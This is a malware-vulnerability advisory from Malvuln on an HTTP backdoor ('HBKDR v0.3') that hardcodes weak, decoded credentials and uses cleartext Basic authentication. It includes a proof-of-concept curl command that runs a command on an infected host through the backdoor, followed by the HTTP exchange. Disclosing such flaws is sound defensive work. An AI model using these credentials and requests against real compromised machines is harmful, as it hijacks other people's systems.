Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/64f2fd4dbd9039e5bc054f475eaa582a.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.aak Vulnerability: Weak Hardcoded Credentials Description: The HTTP backdoor server HBKDR v0.3 listens on TCP port 8080 and accepts HTTP POST requests in order to execute commands on the infected system. The malware hardcodes two sets of weak Base64 encoded credentials in the malware "ZnVjazpkYXY=" (fuck:dav) and "ZGV2Om51bGw=" (dev:null). The credentials can be viewed easily running string util against the malware executable. The backdoor also uses insecure BASIC authentication disclosing the username/password on the wire in a packet sniffing scenario. Type: PE32 MD5: 64f2fd4dbd9039e5bc054f475eaa582a Vuln ID: MVID-2021-0094 Dropped files: Disclosure: 02/17/2021 Exploit/PoC: curl -v "http://fuck:dav@192.168.1.10:8080/exec.hbd" -X POST -d "txtExec=calc" * Server auth using Basic with user 'fuck' > POST /exec.hbd HTTP/1.1 > Host: 192.168.1.10:8080 > Authorization: Basic ZnVjazpkYXY= > User-Agent: curl/7.55.1 > Accept: */* > Content-Length: 12 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 12 out of 12 bytes < HTTP/1.1 200 OK < Server: HBKDR v0.3 < Connection: close < Date: Wed Feb 3 21:20:12 2021 < Content-Location: /exec.hbd < Content-Type: text/html < Transfer-Encoding: chunked Command Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).